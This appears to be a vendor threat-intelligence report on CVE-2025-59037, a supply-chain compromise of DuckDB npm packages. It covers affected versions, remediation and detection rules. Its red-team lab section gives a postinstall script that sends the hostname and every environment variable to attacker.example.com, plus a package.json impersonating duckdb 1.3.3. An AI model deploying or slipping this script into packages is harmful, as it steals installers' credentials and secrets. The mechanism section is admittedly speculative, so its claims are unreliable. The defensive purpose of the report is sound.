CVE-2025-59037

Executive Summary

CVE-2025-59037 describes a supply chain compromise affecting the DuckDB Node.js ecosystem on npm. On 08 September 2025, an attacker published malicious versions of four DuckDB packages: @duckdb/node-api@1.3.3, @duckdb/node-bindings@1.3.3, duckdb@1.3.3, and @duckdb/duckdb-wasm@1.29.2. The embedded malware was designed to interfere with cryptocurrency transactions. According to npm statistics, no downloads occurred before the packages were deprecated. DuckDB deprecated the affected versions, engaged npm support for deletion, and re-released clean versions (1.3.4/1.30.0). The vulnerability is classified as a supply chain attack (MITRE T1195) with a CWE-506 (Embedded Malicious Code) classification.

Supply Chain & Package Security

This incident is a classic supply chain attack targeting the Node.js/npm ecosystem. The attacker gained control of the publishing credentials or CI/CD pipeline for the DuckDB npm packages and pushed malicious versions. The malware specifically targeted cryptocurrency transactions, indicating a financial motive. The attack vector is the npm registry itself, making it a supply chain compromise. Users who installed or updated to the affected versions would have executed the malicious code during installation or runtime. The rapid deprecation and re-release by DuckDB mitigated the impact, but the incident highlights the ongoing risk of package registry compromises.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unavailable)
• CVSS Vector: UNKNOWN
• Attack Vector (AV): Network (via npm registry)
• Attack Complexity (AC): Low (malicious package available for download)
• Privileges Required (PR): None (any user installing the package)
• User Interaction (UI): Required (user must install the malicious version)
• Scope (S): Changed (malware can affect other parts of the system)
• Confidentiality (C): High (potential theft of cryptocurrency keys)
• Integrity (I): High (malware modifies transaction data)
• Availability (A): Low (malware may disrupt normal operations)

Threat Level: High. Although no downloads were recorded, the potential impact on cryptocurrency transactions and the ease of exploitation (simply installing the package) make this a critical supply chain risk.

Deep Dive & Mechanics

The attack involved the publication of four malicious npm packages. The exact mechanism of the malware is not publicly disclosed, but based on the description, it likely:

1. Intercepts Cryptocurrency Transactions: The malware monitors for cryptocurrency-related operations (e.g., sending transactions, generating addresses) and modifies them to redirect funds to the attacker's wallet.
2. Executes During Installation or Runtime: The malicious code could be triggered via a postinstall script in package.json or injected into the main library code that runs when the package is imported.
3. Targets Specific Wallets or Exchanges: The malware may have hardcoded addresses or logic to replace destination addresses in transactions.

The attack was discovered and mitigated quickly, with no evidence of actual compromise. The attacker likely used compromised npm credentials or a CI/CD pipeline vulnerability.

Vulnerable vs. Patched Code

Vulnerable Versions:

• @duckdb/node-api@1.3.3
• @duckdb/node-bindings@1.3.3
• duckdb@1.3.3
• @duckdb/duckdb-wasm@1.29.2

Patched Versions:

• @duckdb/node-api@1.3.4 or higher
• @duckdb/node-bindings@1.3.4 or higher
• duckdb@1.3.4 or higher
• @duckdb/duckdb-wasm@1.30.0 or higher

Workaround: Downgrade to 1.3.2 or 1.29.1.

The patched versions remove the malicious code. Users should verify the integrity of their installations by checking the package hash against the official DuckDB repository.

Exploitation & Lab Setup

Red Team

Objective: Simulate the supply chain attack to test detection capabilities.

Lab Setup:

1. Create a local npm registry (e.g., using verdaccio) to host a malicious package.
2. Craft a malicious duckdb package with a postinstall script that exfiltrates environment variables or simulates cryptocurrency transaction interference.
3. Publish the malicious package to the local registry.
4. Configure a test Node.js application to install the malicious package.
5. Monitor for detection by security tools.

Example Malicious postinstall Script:

// postinstall.js
const fs = require('fs');
const os = require('os');
const https = require('https');

// Simulate exfiltration of environment variables
const data = JSON.stringify({
  hostname: os.hostname(),
  env: process.env
});

const options = {
  hostname: 'attacker.example.com',
  port: 443,
  path: '/exfil',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': data.length
  }
};

const req = https.request(options);
req.write(data);
req.end();

Package.json (malicious):

{
  "name": "duckdb",
  "version": "1.3.3",
  "scripts": {
    "postinstall": "node postinstall.js"
  }
}

Blue Team

Objective: Detect and respond to the supply chain attack.

Detection Steps:

1. Monitor npm Installations: Use audit logs to track installations of DuckDB packages.
2. Check Package Integrity: Verify package hashes against official sources.
3. Analyze postinstall Scripts: Scan for suspicious scripts in package.json.
4. Network Monitoring: Detect outbound connections to unknown domains during package installation.
5. Endpoint Detection: Use EDR to monitor for unusual process behavior (e.g., Node.js making network connections).

Response:

1. Immediately quarantine any systems that installed the affected versions.
2. Rotate all credentials and API keys on affected systems.
3. Reinstall the package from a trusted source (patched version).
4. Conduct a forensic analysis to determine if any data was exfiltrated.

Indicators of Compromise (IOCs)

File Hashes (SHA256):

• @duckdb/node-api@1.3.3: UNKNOWN (not publicly disclosed)
• @duckdb/node-bindings@1.3.3: UNKNOWN
• duckdb@1.3.3: UNKNOWN
• @duckdb/duckdb-wasm@1.29.2: UNKNOWN

Network Indicators:

• Unknown domains or IPs contacted during package installation (specifics not disclosed).

Registry Indicators:

• npm package versions: 1.3.3 (for duckdb, @duckdb/node-api, @duckdb/node-bindings) and 1.29.2 (for @duckdb/duckdb-wasm).

Behavioral Indicators:

• Node.js processes making unexpected outbound HTTPS connections.
• Modification of cryptocurrency wallet addresses or transaction data.

Detection Engineering

YARA Rule

rule Detect_Malicious_DuckDB_Package {
  meta:
    description = "Detects malicious DuckDB npm package versions"
    author = "Valters IT"
    date = "2025-09-08"
    reference = "CVE-2025-59037"
  strings:
    $package_name_1 = "\"name\": \"duckdb\""
    $package_name_2 = "\"name\": \"@duckdb/node-api\""
    $package_name_3 = "\"name\": \"@duckdb/node-bindings\""
    $package_name_4 = "\"name\": \"@duckdb/duckdb-wasm\""
    $version_1 = "\"version\": \"1.3.3\""
    $version_2 = "\"version\": \"1.29.2\""
    $postinstall = "postinstall"
  condition:
    any of ($package_name_*) and any of ($version_*) and $postinstall
}

Sigma Rule

title: Detection of Malicious DuckDB npm Package Installation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects installation of malicious DuckDB npm package versions
author: Valters IT
date: 2025-09-08
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\npm.exe'
    CommandLine|contains:
      - 'install duckdb@1.3.3'
      - 'install @duckdb/node-api@1.3.3'
      - 'install @duckdb/node-bindings@1.3.3'
      - 'install @duckdb/duckdb-wasm@1.29.2'
  condition: selection
falsepositives:
  - Legitimate installation of older versions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59037 - Malicious DuckDB npm Package Download"; flow:to_server; content:"/duckdb"; http_uri; content:"1.3.3"; http_uri; content:"npm"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Patched Versions: Run npm install duckdb@1.3.4 or higher for all affected packages.
2. Downgrade as Workaround: If upgrade is not possible, downgrade to 1.3.2 or 1.29.1.
3. Verify Package Integrity: Check the SHA hash of the installed package against the official DuckDB repository.
4. Rotate Credentials: If the malicious package was installed, rotate all API keys, database credentials, and cryptocurrency wallet keys.

Long-Term Mitigations:

1. Use Package Lock Files: Lock dependency versions in package-lock.json to prevent automatic updates to malicious versions.
2. Enable npm Audit: Run npm audit regularly to detect known vulnerabilities.
3. Implement Supply Chain Security Tools: Use tools like snyk, npm audit, or socket.dev to scan for malicious packages.
4. Monitor npm Registry: Subscribe to security advisories for critical packages.
5. Use Private Registries: For enterprise environments, use a private npm registry with curated packages.

Valters IT Signature: This report was prepared by Valters IT, a leader in DevSecOps and Cyber Threat Intelligence. For more information, visit https://valters-it.com.